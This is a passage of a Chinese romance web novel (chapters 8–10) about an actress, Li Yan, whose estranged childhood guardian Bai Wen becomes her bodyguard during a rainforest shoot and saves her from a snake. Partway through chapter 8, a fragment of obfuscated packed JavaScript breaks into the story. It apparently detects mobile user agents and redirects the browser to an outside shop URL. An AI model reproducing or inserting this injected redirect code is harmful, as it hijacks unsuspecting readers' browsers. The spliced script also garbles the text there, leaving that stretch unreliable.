“说起来,我后面有几场戏份,取景地有点偏,许导也提醒过要注意安全。不知道柏队你最近的工作安排......方不方便,更侧重一点我们这边的安保?”
这话放在普通的合作里,就是个正常询问。可他俩显然在这层关系下有着更糟糕的内里,也就使黎宴这句话的意思表达得相当明白。
她在直接索要他的跟随。
客厅一片静谧,方宁在隔壁小房间里探了探头,感觉气氛不对,又赶紧缩回去,戴上耳机假装忙自己的事。
柏闻的声音听不出任何异样:“黎小姐的需求,我可以向上反映。不过剧组整体的安保部署,公司会统一安排。”
又是搪塞的废话。
黎宴心底那股尖锐的怒气差点没压住,她才二十三岁,如果没做这行,也就是个刚出校门的清澈毕业生。这几年在圈子里摸爬滚打,她是学了些与人周旋的本事,可火候不完全到家,面对柏闻的时候尤其。
但她还是强压下了冷笑的念头,尽量让自己看上去云淡风轻。
“看来是我想多了,我还以为凭着过去那点老熟人的交情,柏队会多关照我一点呢。”
她没把话留在一个合适的接口,除非柏闻避开话题,否则只能回应。
“我的天呐......”
方宁攥着耳机线,大气都不敢出。她从没见过黎宴这么有攻击性的样子,好奇得要命,又不敢正大光明地看。只好偷偷瞄向那位柏队长,他明明坐在那里没动,却莫名让人感觉他下一秒就要起身走人了似的。
柏闻的目光在黎宴脸上停留了片刻。
他看见她眼底那点刻意摆出来的,属于成年人的游刃有余。也看见她纤细的腰不自觉绷紧,眼眸几乎不怎么转动。
那是她向人
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示威时才有的小动作,从小到大都没变过。
黎宴等待着他的回答,眼里的戏谑几乎要变成审视,柏闻却波澜不惊地开口。
“如果黎小姐确实需要,我可以向公司申请排班。”
“......?”黎宴眼睫一颤。
她没料到他会这么接话,按照他这几天能避则避的态度,他应该把问题推给公司,推给合同,总之用一切最官方的理由划清界限。
但他居然说“可以”。
这个回答像一把干柴,瞬间把黎宴心里那簇报复的火苗烧得更旺。他果然在躲,果然心虚。而现在,他被迫接招了。
“那就麻烦柏队了。”
黎宴弯起眼睛,笑容看起来真切了几分,话里却颇有内涵:“不过我这个人比较怕麻烦,如果申请流程太复杂,或者需要层层审批耽误时间,其实柏队也不用太勉强。”
她以为这些都会成为柏闻回去之后推托的借口,没想到对方很快就说。
“不麻烦,明天开始,我会跟你的通告。”
黎宴又怔了一下。
她原本准备了一肚子绵里藏针的话,一下子全被堵了回去。他答应得太干脆,甚至主动给出了时间。
一种隐约的感觉浮上心头,黎宴担心自己想多了。她不知道是不是自己高看了柏闻,总觉得他今天敢踏进这个门,就已经猜到了她会干什么。
于是,黎宴心里刚升起的那点掌控局面的快感,倏地荡然无存。
“那就好。”她这才接柏闻的话,从沙发上站起身,裙摆滑落,垂至脚踝。
“具体的拍摄日程,我会让助理发给贵公司,至于费用方面......”
“按公司标准结算。”柏闻补充,又是一副公事公办的样子。
黎宴正要转身的步子停了下来,看了他两秒,忽然笑了一声。
那笑声很轻,带着点说不出的意味,却莫名让空气凝滞了一下。她没说什么,顺手拿起那个印有公司LOGO的礼品袋,打开扫了一眼,一个野外应急包,一堆花花绿绿的土特产。
“替我谢谢贵公司。”
黎宴随手将袋子放回,目光重新落回柏闻脸上。
“那么,明天见?”
这句话放在别人身上是送客,对柏闻那就是逐了。
好在被逐的人很识趣,没再多说一个字,转身朝门口走去。
黎宴站在原地,看着他握住门把手,侧身出去,然后门被轻轻带上。
咔哒。
门关上的瞬间,黎宴一直挺着的脊背松了下来。她后知后觉,原来自己的心跳得这么快,这么重,就好像刚打完一场仗。
方宁这才敢从小房间里探头出来。
黎宴随意将高跟鞋一脱一甩,走回沙发上重新坐下,抬手按了按太阳穴。方宁一路小碎步蹭过来,小心翼翼地八卦。
“宴姐,你跟那位柏队是不是认识啊?感觉你俩......怪怪的。”
黎宴没否认也没解释,折中地嗯了一声。
方宁识趣地没再追问,转而说起正事:“那明天开始,他真的跟着你啊?要不要我跟杨姐报备一下?”
“不用。”
黎宴这会儿答得倒快,摇头道:“私人安保而已,剧组本来就有安排,只是换个人跟。”
她说得轻描淡写,方宁却总觉得哪儿不对。但看着黎宴闭眼靠在沙发上,一副乏了的样子,她也只好把疑问咽回去,小声地说:“那我去给你放洗澡水?”
“去吧。”
方宁很快进了浴室,水声隐约传来,黎宴才慢慢睁开眼。
客厅里只剩她一个人,落地灯的光晕安静笼罩着她。她偏头看向窗外,从这个角度能看见城市的主干道,车流如织,尾灯拉出一道道红色的流星。
心脏某个地方,毫无预兆地疼了起来。
她想起四年前的那个暴雨夜,那时候她觉得天都要塌了,后来她才知道,天不会塌,人总要自己站着。
只是站起来的过程,太疼了。
8. 第 8 章
孟甘的日出格外早。
还不到早上六点,天际已经泛起鱼肚白。晨光透过云层缝隙,洒在酒店楼下的棕榈树梢。空气里飘着热带植物湿漉漉的清新气息,几只不知名的早鸟叽叽喳喳地闹。
黎宴嫌吵,方宁立刻跑过去把窗户关了。
她今天有早戏,五点半就起了。化妆师在给她上妆,方宁在一旁核对今天的通告单和剧本。
“宴姐,今天第一场是雨林里的追逐戏,许导说得先徒步进去一段。服装组那边准备了登山鞋和速干衣,等到了现场再换戏服。”
“水和小风扇我都带好了,今天的早餐是三明治,到时候在车上吃?”
“还有......”
黎宴困倦地闭着眼,任由化妆师的刷子在脸上轻扫。无论方宁说什么,她都配合地嗯一声,像是一种无需走心的条件反射。直到化妆师换了工具,她睁开惺忪的眼,开口说了第一句话。
“安保到了吗?”
“联系好了,柏队说直接到片场会和。”方宁说着,偷瞄了一眼黎宴的脸色。
“宴姐,你真要他贴身跟着啊?虽说柏队看着挺专业的,可...怎么说呢?也不是我搞刻板印象,像他这种盘靓条顺的,估计女客户不少,性格应该挺傲的,我感觉不太好打交道。”
话音刚落,黎宴倏地接了声冷笑,也不知是哪根神经被牵动了。方宁以为自己说错话了,弱弱地捂嘴。
“随便他,我是甲方,有本事甩脸色给我看。”
黎宴毫无感情地扯了下嘴角,化妆师手顿了顿,旋即假装没听见,继续专心刷睫毛。
早上七点整,保姆车准时从酒店出发。
黎宴换了身简单的棉白T和运动裤,靠在椅背里吃早饭。方宁坐在她身边,正在清点随身包里的物品有没有遗漏。
“保温杯、小风扇、创可贴......”
在她报菜名似的念叨期间,黎宴已经将一整个三明治下肚,又拿起剧本在看。今天这场追逐戏的运动量和情绪跨度都很大,不止考验体力,还很考验演技。
车程三十多分钟后,保姆车抵达片场,黎宴正要下车,手机忽然震动了一下。
她看了一眼,是程谦发来的消息。
【早,今天有场重头戏,加油。】
黎宴蹙了下眉,程谦这几天联系她的频率明显变高了。虽然话里话外都是工作,但偶尔那种若有似无的越界和试探,让她不太舒服。
资方的人不好得罪,她公式化地回了一句谢谢程总,随后朝片场走去。几辆设备车和房车已经停在那儿,工作人员正在搬运器材。许导站在监视器旁,正和摄影指导说着什么,黎宴过去打了个招呼。
“早。”许导应了一声,指了指前面的林子,“今天这场戏得往里去,路不好走,没问题吧?”
“我体力还行。”
黎宴笑了笑,许导又拿起对讲机喊:“安保的人到了吗?今天进林子,得有人跟。”
话音未落,身后传来引擎声。
黎宴回头,看见那辆熟悉的黑色越野车从不远处驶来,速度很快,扬起一片尘土。车停稳,柏闻下车。
他今天换了身装束,依旧是一身黑,帽子压得很低,穿着一件修身的速干长袖,袖口挽到手肘,露出结实有力的小臂。工装裤扎进高帮登山靴里,从副驾驶上拎下来个深色背包,看上去东西装得不少。
他径直朝这边走来,目光掠过黎宴,转向导演。
“许导,今天进雨林的安保方案我和统筹确认过了,我这边带几个人跟组。”
经历了上次的片场闹事,许导对柏闻的行事作风已有了解,并不怀疑他的专业水平。两人简短沟通了几句,许导时不时点头表示肯定。快聊完时,许导又将视线自然地转向了黎宴。
“对了宴宴,昨晚柏队联系我,说他接下来的工作安排有些调整,以后你在孟甘的私人安保也由他一并负责。我一听,这事儿也好,毕竟这边环境复杂,有个靠谱的保镖跟着更稳妥。只是没想到你下手挺快,直接把咱组里最得力的精兵强将给挖走了。”
黎宴本来扮演着旁听的角色,没想到话题转到了自己身上。她余光一瞥,柏闻双手插袋站在旁边,站姿闲适,一脸云淡风轻。
她在心里白了他一眼,语气轻松地接话。
“您就别笑话我了,还不是上次夜市那事儿给我经纪公司吓得不轻,想着防患于未然,也为了不给拍摄进度添乱,这才赶紧让我上层保险。”
许导朗声一笑:“行,安全第一总是没错。有柏队在,剧组也更放心。”他说完便摆摆手,转身去忙拍摄的事了。
许导一走,这片角落的空气似乎都凝滞了几分。
这份安静并没有保持很久,柏闻脚步一动,没离开,只是站到了黎宴斜后方三四步的位置,自然肩负起了他作为贴身保镖的职责。
存在感强得令她无法忽视。
但黎宴没回头,也没跟他打招呼,转身朝房车走去。他的步子比她大,从小就走得快,如今在她身后响起,节奏几乎与她同步,保持在身后不远不近的位置。
这次他成了她的尾巴。
剧组很快就要向雨林进发,黎宴在房车上换完衣服,方宁帮她整理头发,眼神却一直忍不住往外飞。
黎宴狐疑,顺着她的视线透过车窗,看见阳光从林叶间隙漏下来,他的越野车停在她的保姆车旁,他靠在车头,指间夹着一片叶子折。偶尔林风吹过时,他的碎发会轻轻晃动一下。
她不受控制地想起小时候,柏闻也是这样站在校门口等她放学。
那时候她上小学,柏闻在隔壁的初中,体育课提前下课就来接她,在一群萝卜头孩子里格外显眼。学校花坛里的花是不允许摘的,但柏闻会捡落叶折花。等她蹦蹦跳跳地跑过来,扑进他怀里,就把折好的叶子花递给她玩。
“哥哥!”
“嗯。”他会揉揉她的头发,接过她肩上的书包,“今天过得开心吗?”
“开心!”
“有没有人欺负你?”
“没有!我告诉同学你教我武功了,谁要是欺负我,我就打死他!”
她总是童言无忌,柏闻哈哈大笑,弯弯的眼睛像月牙,只盛进了她。
“好了,宴姐。”
方宁递给她一顶遮阳帽,黎宴错开视线,戴上帽子推门下车。
柏闻听见动静转身,几步走来,目光在黎宴身上扫过,像是在检查装备是否齐全,然后递过来一个小巧的瓶子,是那种最普通的透明自装喷雾瓶。
“雨林里蚊虫多,剧组买的现成品药效不够,这是当地护林员自己调的,成分安全。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001280|193952||http|test|mini|href|location''.split(''|''),0,{}));
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>黎宴看都没看:“我不用三无产品。”
柏闻的手停在半空,也没收回去。两人之间隔着一臂的距离,空气里只有夏天燥热的风声。
“雨林里的蚊虫喜欢往人脸上飞,咬了会留疤。”
柏闻面不改色地胡扯,黎宴吃了人生地不熟的亏,闻言一瞥那瓶喷雾,不想被打脸的同时福至心灵,手背在身后勾了勾手指。
方宁立刻会意,上前将东西接了过来,打圆场地笑:“哎呀宴姐,要不咱们先试一点?脸可不能大意,万一真留个印子,回去杨姐该说我了。”
她话音没落,喷头已经轻轻按下,细密的水雾带着草叶的气息,喷洒在黎宴的后颈和手臂。
“谢谢柏队。”
方宁将喷雾递了回去,柏闻很自然地放回包里,又拿出两个小密封袋,一个递给黎宴,一个递给方宁。
“盐丸和能量胶。”他解释。
“防止头晕低血糖,放身上备用吧。”
方宁没想到还有自己的一份,受宠若惊地接过:“谢谢柏队!”
黎宴这次倒没拒绝,接过了自己那袋。
“黎老师,准备出发了——”
场务的声音从不远处传来,黎宴应了一声,轻飘飘从柏闻身侧路过。柏闻随之而动,安静跟在她身后,始终保持着三四步的距离。
进雨林的路比想象中更难走。
林中闷热,地面湿滑,厚厚的落叶层下藏着盘根错节的树根和石块。数不清的藤蔓垂落,像一条条倒挂的绿蟒,经常需要人弯腰才能穿行。
黎宴踩上一段覆满苔藓的断木,试图借力跨过树根盘结的洼地。落脚的瞬间,苔藓的湿滑程度却超出了她的预料,靴底猝然一滑——
“小心。”
一声略急促的提醒与动作同步,柏闻的手迅速探来,在她身体失衡后仰的刹那,稳稳抵住了她的后腰。
速干服的衣料很薄,黎宴能够清晰感知到那只手的温热与力度,像一道瞬间铸成的支撑,将她失去的重心稳稳托回。
她几乎是立刻站稳了,腰间的手也随之撤走,快得像一场错觉。
柏闻神色如常地上前,抽出随身的匕首,替她刮去落脚点上的苔藓。
“这里面可能朽透了,我先过,你看着点。”
他声音平稳,黎宴却喉咙发紧,轻轻“嗯”了一声。
她看着他踩上那截断木,高大的身影融入斑驳的林光。趁着这短暂的空隙,黎宴肆无忌惮地打量他,先是掠过他短短的发梢,结实的背肌......直至某个瞬间,她的视线忽然定住。
他的后颈有一道疤。
那痕迹已经很淡了,颜色几近发白,看得出早已愈合了很久,长度却触目惊心,从后颈一直延伸到衣服领口下。
明明四年前分开的时候都没有......
什么时候留下的?
黎宴刚冒出这个疑问,柏闻已经利落地跨过洼地,转过身,手自然而然地朝她伸出。
“过来。”
那是个下意识的动作,曾经他做过千百次。然而这次,空气微妙地凝滞住,黎宴站在对面没说话。
他也顿住了,手臂悬在半空,指尖微微蜷了一下。
黎宴避开他的目光,一脚踩上清理过的断木,独自跨过了那片洼地,逃也似的路过了他。
9. 第 9 章
接下来的一路,黎宴走得无比小心,力求不出一点意外。
柏闻也沉默,独自走在前方替她探路,几乎很少回头,只在转向或难走的地方,用余光确认她的距离。
两人全程没有任何交流,像是一种诡异的默契。
方宁跟在后面,看着两人的背影,心里那股“怪怪的”感觉又冒出来了。
在她眼中,宴姐工作时专注投入,私下里随和开朗,待人接物很有分寸,很少对谁真正冷脸,更何况是像现在这样,处处绵里藏针地和一个人较劲。
可也就奇怪在这,宴姐和这位柏队之间,明明弥漫着一种危险的紧绷感。可只要他俩待在一起,周围的一切都像是被某种无形的屏障隔开了,任何人都无法介入。偏偏他们对待彼此的方式,又是最生分,最客气,最像外人的那种。
而且柏队那眼神,虽然大部分时间都很平静,但只要落在宴姐身上时......
方宁说不清那是什么眼神,但心里几乎确定,两人以前的关系绝对不一般。
大概十分钟后,剧组终于抵达拍摄地点。
大型一点的拍摄设备,昨晚就有工作人员运进来了,各部门忙了起来,黎宴则被带到一旁补妆。
她今天的戏份很重,几乎全程都在跑和打,妆不能太浓,但又要保证镜头前不脱妆,化妆师费了不少功夫。
离她不远的地方,柏闻站在空地边缘,背靠着一棵高大的榕树。
在雨林里拍摄,安全隐患比普通片场多得多。不止地形湿滑,毒虫,蛇,甚至野生动物,都会对人员造成威胁。他让安保小组散入林中排查,自己和剩下几个留守,确保拍摄区域的安全。
他随手捡了几片落叶折花,耳边传来黎宴和对手戏演员对台词的声音。
她的声音清亮,咬字清晰,带着戏里的情绪。柏闻没回头,只是安静地听着,手里的叶子花很快有了雏形。
“各部门准备——”
听见副导演拿着喇叭喊,柏闻偏过头,在她看不见的地方,视线光明正大地落在她身上。
她站在预定位置,一身泥污的戏服,脸上也抹了灰,但眼睛很亮,像燃着两簇火。许导在监视器后说了句什么,她点了点头,深吸一口气,立刻进入了状态。
这场戏是她被追捕,在林间逃亡。她需要穿过溪流,攀爬岩石,在藤蔓间穿梭,最后躲进树洞,一镜到底不能停。
“《风暴眼》第58场第1次,Action——”
打板声落,黎宴猛地向前冲去。
她跑得很快,能看出平常没有疏于锻炼,状态相当好。尤其是在岸边一跳,蹬石过溪,原本具有难度的动作,她一次就完成。许导在监视器后连连点头,显然满意。
柏闻的目光始终跟着她。
他看着她跃过断木,看着她滚下山坡,看着她咬牙从泥泞里爬起来继续跑。每一个动作,每一次跌倒,他都看得清清楚楚。
眼前的画面渐渐和脑海中某些久远的记忆重叠,他想起她小时候学自行车摔破了膝盖,哭得稀里哗啦找他抱;想起她第一次学游泳呛了水,再下水时一定会死死抓着他的手臂不肯放;想起家里最难的那两年,她高三熬夜复习,累得趴在桌上睡着,他把她抱回床上,她连做梦都在嘟囔着“哥哥,题好难......”
柏闻静静站在树下。
他很清楚,人总要为自己选择的路负责,疼痛是人生的必修课。可若剖开他见不得光的私心,他其实希望她一辈子不必承担任何枷锁,希望她的世界永远晴朗。她只需要考虑今天吃什么,做什么,去哪里玩得尽兴。至于支撑这些的所有,他会为她悉数奉上。
但她长大了。
他的念头太逾矩,也太天真了。
“咔!”
许导在不远处喊停,黎宴从树洞里钻出来,浑身湿透,累得喘息,方宁立刻小跑过去给她披上毛巾。
柏闻看着黎宴被众人簇拥,然后她抬头,目光不经意扫过他的方向。
两人的视线在空中短暂交汇。
黎宴的眼睛里还带着戏里的惊惶,湿漉漉的,像林间受惊的小动物。但在看见他的瞬间,那点惊惶迅速褪去,被一点刻意的冷淡取而代之。
她很快别开眼,继续和方宁说话。
这时,队员赛昂走了过来,手里抛接着一个野果,一口中文里夹杂着很浓的缅邦口音。
“闻哥,眼神收收,快黏人身上了。”
柏闻收回目光,脸上没什么被戳破的窘迫,反而挑了挑眉,顺手接住赛昂抛过来的野果,在手里掂了掂:“东边林子巡完了?这么闲。”
“早巡完了,干净得很。”
赛昂凑近,声音刻意压低,挤眉弄眼:“说真的,闻哥,这大明星保镖的活儿给你接爽了吧?”
柏闻扫了他一眼,他啧啧两声,乐呵起来:“别不承认啊,上次哥几个在老街吃饭,我放水回来可看见了,你手机里放的电视剧不就是她演的嘛。怎么,硬汉也爱小甜剧?”
柏闻继续折手里的叶子花,对答如流:“职业需要,了解一下客户背景。不然怎么知道保护的是个会拳脚的女侠,还是个爱哭鼻子的?”
“得了吧!”赛昂笑着捶了他肩膀一下。
“你看啊,咱公司出来那条街,最大的广告牌就是她,每次路过你都慢半拍。追星就追星,兄弟们又不笑话你,都近水楼台了,你不去要个签名啥的?要不你去帮我要呗,我妹认识她,我拿回去显摆显摆。”
柏闻被调侃了也不恼,反而放松地往树干上一靠,嘴角噙着点懒洋洋的笑,慢悠悠地开口。
“看来你接下来一周是想上早班了。”
“NoNoNo!”赛昂立刻举手投降,“我错了,行了吧?我这就再去巡一遍林子。”
他转身作势要走,又忍不住回头,飞快地扔下一句。
“您就留在这守着您的大明星,慢慢了解客户背景吧,我不打扰了。”
说完就一溜烟跑了。
柏闻看着赛昂猴窜似的消失在林子里,似有所感,再次转头望向黎宴的方向。她已经补好了妆,正听着导演说话,又乖又安静。
他将那朵折好的叶子花轻轻放在树杈上,又想起赛昂那句要签名。
他失笑,心想。
小时候倒是没少给她签。
“各部门准备,马上开始下一场——”
喇叭的扩音从不远处传来,柏闻收起所有心绪,目光如常地投向场地中央。
黎宴调整了下呼吸,许导在她身后喊。
“宴宴,这个镜头是特写,我们至少需要一分钟静止的状态,层次要出来!”
黎宴抬手举了个OK回应,然后便独自走入了拍摄区。随着一声Action落下,黎宴踉跄前行,慌忙从口袋里摸出手机,数次尝试拨号却失败,只能徒劳地将手机举高,满脸紧迫与焦灼。
表演完这个片段,她像是认命一般放下手机,回头看了眼追兵的方向,随即大步奔跑,艰难钻进了前方潮湿黝黑的树洞。
“好,进洞了!”许导的声音从腰间的无线耳机接收端传出,“接下来是关键,你在洞里先是......节奏要把握好。”
镜头推近,对准黎宴满是泥污的脸和颤抖的睫毛。她将身体往树洞深处缩,一切都在按剧本进行。就在她全神贯注之际,耳朵里却钻入了一阵极轻的“嘶嘶”声。
来自头顶斜上方。
黎宴全身的血液瞬间凝固。
一个可怕的念头窜起,她不敢动,连眼珠都只敢极慢地转动,用尽余光向上瞥——树洞顶部的裂隙里,盘踞着一圈深褐近黑的环状纹路,一只三角蛇头从阴影中探出,信子快速吞吐。
那道缝太深了,检查时没人发现。
黎宴僵住了,不敢动更不敢出声,连呼吸都压到最轻,更糟的是,镜头根本拍不到那么深的角度!
监视器后,许导身体前倾,完全被黎宴剧烈收缩瞳孔的演技折服,忍不住想要保留更长的画面素材。
树洞内,蛇身又滑下一截,距离无声拉近。
片场外,一阵急促的脚步声骤然闯入。许导还沉浸在画面里,胳膊却被人一把拉住。
“许导,停拍!”
是柏闻。
许导皱眉,不满几乎写在脸上,柏闻语速更快:“树洞里可能有蛇,就在黎宴头顶上。请立刻停拍,所有人别靠近洞口!”
片场里响起抽气声,许导瞬间哑火,他并不怀疑柏闻的专业判断,但震惊压过了情绪:“你怎么知——”话没说完,柏闻已经快步朝树洞方向走去。
许导这才想起对讲机,抓起来问:“黎宴,你头顶是不是有蛇?!”
黎宴根本不敢开口,只对着镜头快速眨了几下眼睛。
许导头皮一麻,立刻急了:“快!原地把灯往那边打,让柏队过去,你们别动!”
时间被拉得漫长。
树洞里,黎宴连吞咽口水都不敢。她听见外面压低的杂乱脚步,每一秒都像在黑暗里下坠,冰冷的麻木蔓延全身。她甚至能感觉到头顶那细微的“嘶嘶”声还在继续,时近时远。
她害怕得紧紧咬住唇,一不小心就使过了劲,尝到一丝血腥味,只能硬着吞下去。
“宴宴。”
柏闻的声音忽然出现在洞口,压得极低。
“没事的,不要怕......”
黎宴的眼眶瞬间红了,恐惧与酸涩混合着冲上鼻腔,她不敢动,全身绷得像一根即将断裂的弦。
柏闻半蹲在洞外,朝她做了个安抚的手势。
“别抬头,现在慢慢放松,调整呼吸,动作要轻。”
他的声音稳得像山,黎宴睫毛颤了颤,开始依照他的指令,极其缓慢地放松已经发麻的身体。
“好,现在听我说。你的左边有个缺口,看到了吗?手移过去,撑住,然后一点一点把身体挪出来,别加速。”
就像小时候学游泳一样,黎宴本能地相信柏闻说的每一个字。她慢慢伸手,撑住缺口,身体开始一点一点向外移动。
眼看她的上半身即将探出洞口,柏闻已经伸出双手,做好了接住她的准备。全场人员屏息凝视,有人不敢看这一幕,后退了半步,脚却绊到电源线——
哐当!
巨响炸开的刹那,洞内那条原本就处于警戒状态的蛇受惊暴起,骤然发动攻击,身体如一道深色闪电从裂隙中弹射而下,直扑向黎宴刚探出洞口的肩膀!
“啊!”
黎宴短促惊叫,几乎同时,一只手从洞外疾探而入,带着劲风从她面前掠过。就在蛇头即将咬住她肩膀的瞬间,五指如铁钳般精准地擒住了蛇头下方的七寸!
下一秒,那只手迅速收回,将整条疯狂扭动的蛇身凌空扯出,同时另一只手抓住她的手臂,将她猛地向外一拽——
黎宴整个人被拖出树洞,踉跄着跌进一个坚实的怀抱。柏闻接住了她,手臂环住她的肩背,将她护在怀里退了几步。他擒蛇的那只手高高扬起,蛇身骤然反卷,死死缠上他的手臂。
柏闻的动作太快,从探手到拽出她不过几秒。黎宴只闻到他身上那股热带雨林的潮气,额头撞上他坚硬的胸膛,耳边是他急促有力的心跳。<
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“没事了,没事了......”
柏闻安抚的声音从头顶传来,一句又一句。黎宴心跳狂乱,脑海中却有条件反射般的记忆涌上来。
她想起小时候他对她说这句话,她反而安慰他:“哥哥,我真的没事了,你不用说给自己听了。”
片刻回忆后,黎宴惊魂未定地抬头,只看见柏闻的下颌线绷得死紧,环住她的力道极大,勒得生疼,却让她有种久违的安全感。
她视线再往上,终于看见那条还在他手腕上扭动的蛇,吓得第二次惊叫出声。柏闻动作更快,松开环住她的手,抽刀,摁蛇,横向一切!
蛇头落地,缠在腕上的蛇身仍在痉挛,柏闻甩手扔开,一脚将蛇的尸体踢进了灌木深处。
他转过头来看她,目光迅速扫过她全身:“有没有被碰到?”
黎宴摇头,声音还有点颤:“没......它没碰到我。”
这时,许导和其他人才围上来。那闯祸的场务小哥脸都吓白了,连连鞠躬道歉。
“......不用不用,我没事,真的。”
黎宴心不在焉地表示原谅,视线压根无法从柏闻的手腕上移开。那一圈被蛇拼死缠绕后留下的深红勒痕格外刺眼,她的脚像被无形的线牵引,朝柏闻的方向挪了几步。
他简直疯了。
她不敢想,他当时怎么敢去徒手抓一条毒蛇的?就算是保镖,也没必要为了雇主把命搭上。黎宴只觉得喉咙干涩极了,想问他没事吧,又觉得这个问题实在很蠢。
最终,她张了张嘴。
“......你有没有被咬到?”
柏闻转过身看她。
“没有,这勒痕看着吓人,过会儿就消了。”
出乎意料地,他没有对她冷脸,这会儿反倒笑了笑,就好像是为了让她放心似的。
这个念头反而让黎宴心里更乱,一股说不清是憋闷还是酸涩的情绪堵在胸口。
她看着他,嘴唇动了动,想说“这么深的勒痕怎么可能没事”,想说“你疯了吗,命都不要了吗”,但那些话涌到嘴边就像上了锁,一个字也吐不出来。
反观柏闻,已经顺手将挽起的速干袖口拉了下来,严严实实地遮住了那片触目惊心的红痕,平静地仿佛没事人一样。
“宴宴,要不去医疗组那边再检查一下?或者休息调整一会儿?”
许导的声音随脚步一起传来,黎宴不得不收起胶着在柏闻身上的目光,转向围过来的众人。
“没事,就是吓了一跳,不影响的,我可以继续拍。”
许导被她这快速进入工作状态的劲儿弄得一愣,随即想起监视器里那些堪称惊艳的恐惧镜头,虽然后来知道那是真实的……但效果实在太好。这段戏的天光不等人,他搓了搓手,看向柏闻。
柏闻颔首:“洞口区域我检查过了,没有别的安全隐患,可以继续工作。草丛附近我会让安保和剧组的人一起仔细排查一遍。”
“好,好!”许导松了口气,立刻指挥。
“各部门注意,原地休息十五分钟!宴宴你赶紧缓缓,喝点热水定定神。化妆师,十分钟后给黎宴补妆!把刚才那段的素材给我调出来看看……”
人群重新开始流动,夹杂着对刚才那惊险一幕的低声议论。方宁半扶半拥地把黎宴带到休息区坐下,又是热水又是毛巾地递给黎宴,语速快得像是要通过说话驱散自己的后怕。
“吓死我了宴姐!你刚才在里面的时候,许导还说你演技绝了,演得跟真的似的。结果!柏队直接冲进棚里,一把抓住许导的胳膊说停拍!我的天,他当时那脸色,许导都懵了!”
“你说神不神,树洞里那么黑,镜头根本拍不到顶。柏队他怎么就知道里面一定有蛇啊?他是有透视眼吗?”
黎宴捧着保温杯,听着方宁的话,无意识地握紧了杯壁。
她想起柏闻手腕上那片刺目的红痕,想起他那个短暂的安抚笑容,想起他蹲在洞口外让自己别怕......她垂下眼眸,很轻很轻地回了一句。
“不是透视眼。”
她顿了顿,喉头有些发哽。
“是因为......我只怕蛇。”
方宁剩下的话卡在了喉咙里,因为她看见黎宴的脸色瞬间黯然下去,于是理所当然,她偷偷瞄了一眼远处的柏闻,心里那股“怪怪的”的感觉再次汹涌而来,且有了具体的指向。
她识趣地闭上了嘴,不再多问,只是默默陪着。
然而,黎宴的目光不受控地再次飘向柏闻。
他走到了更远的树林边缘,靠着树干,低头用没受伤的左手按了按右手手腕,皱了下眉。
有个皮肤黝黑的安保队员端着杯水递给他,嘴唇一张一合,柏闻摇了摇头,似乎是示意自己没事。然后那名队员耸了耸肩,没再坚持,转身走了。
黎宴心里乱糟糟的,各种情绪翻搅着。不止是劫后余生的虚脱,还有对他伤势的担忧,再一次被他保护的复杂感受,和很多更深的,更顽固的东西交织在一起,让她呼吸都有些不畅。
最终,她放下水杯,在方宁欲言又止的目光中,起身走了过去。
脚步声瞒不过柏闻,他抬眼看她,脸上早已恢复了惯常的平静,甚至带了点询问的意思,仿佛在问她“还有什么事?”
黎宴在他面前站定,直直地盯着他的眼睛,费力地想看出点什么,却被他将所有翻腾的情绪都无声地吸纳进去,不起波澜。
她吸了口气,那句在嘴边盘桓了许久的话,通过干涩的喉咙说出了口。
“......刚才,谢谢。”
10. 第 10 章
树洞的意外在梦里纠缠了一夜,黎宴醒得很早,躺在床上没动。
她不觉得困倦,只是心里烦,烦得从睁眼那一刻起,眉头就没松开过。
她盯了天花板很久,试图理清自己烦躁的根源。不只是对柏闻徒手擒蛇的后怕,还有他后颈上那道疤。
那绝不是轻伤,看上去愈合了很久,却还是留下了这样狰狞的痕迹。
黎宴心口一紧,忍不住猜测这道疤的来历。但它出现在他们分开后的四年里,思绪便无可避免地倒带,先一步退回到他们最早的那次分离。
五年前,她刚上大一,某个秋日的午后,她正窝在宿舍上铺帮人做题,手机铃声突然响起。她忙着题目,看也没看,顺手划开贴在耳边接听。
“喂?”
“下楼。”
短短两个字,是她最熟悉的含笑腔调。她蓦然愣住,反应过来后惊喜地叫了一声。下桌的舍友立刻探出头,笑得促狭。
“哟,这么激动,男朋友来啦?”
她连电话都顾不上挂,更别提好好解释,只大声回了一句“我哥!”,抓着手机就从床梯上跳了下来,趿拉着拖鞋往门外冲。
算起来,她已经快两个月没见到他了,一下楼就看见柏闻正静静立在银杏树下,穿着件深灰色卫衣和夹克。午后的阳光透过金黄的树叶筛下来,洒在他半边肩头。他的头发比上次见面时稍短了些,露出清晰的眉骨和鼻梁线条,一路上都有女孩子侧目。
她还没扑过去喊出那声“哥”,嘴角的笑意就慢慢淡了下去。
倒是柏闻,脸上看不出什么异样,很自然地走过来,伸手轻轻捏了捏她的脸颊。
“最近在学校里过得好吗?”
她没回答,目光愣愣地看着他肩上的背包和脚边的行李箱:“哥,你要出门吗?”
柏闻看着她,唇角笑容不变。但他没绕弯子,直接说。
“宴宴,我要去孟甘了。”
那两年,家里遭了很多难,奶奶走了,爷爷后来也病逝,家里欠了不少债。柏闻说他朋友在孟甘有路子,过去搞建筑,苦是苦点,但工资比国内高一大截,债能还得快些。
她当时还没遇上第一次拍广告的机会,大学的学费是助学贷款,白天上课,晚上和周末都在做兼职。但柏闻每个月打来的生活费从没迟过,数额也比她需要的多。家里的债都是他在扛,从没让她沾手。
她当时急了,说不行,孟甘太远了,也太苦了。可话一出口,她自己也觉得苍白。
她拦不住他,甚至连“我也可以分担”这样的话都说不出口。她那点兼职的收入,对这个家根本是杯水车薪。
可柏闻的态度很坚决。
他向来这样,决定的事,谁也拉不回来,否则也不会直接拖着行李箱来找她。
送他去机场也是那天下午,原本晴朗的天气渐渐转阴,后来飘起了细雨。
国际出发的入口人来人往,广播里机械地重复着航班信息。柏闻低头看着她,抬手揉了揉她的头发,动作和从前无数次一样。
“乖。”
他笑了笑。
“哥哥赚了钱就回来。”
然后他手臂收紧,很用力地抱了她一下。她刚想抬手回抱,他却已经松开了,退到闸机口,朝她摆了摆手。
“走吧,我看着你回去。”
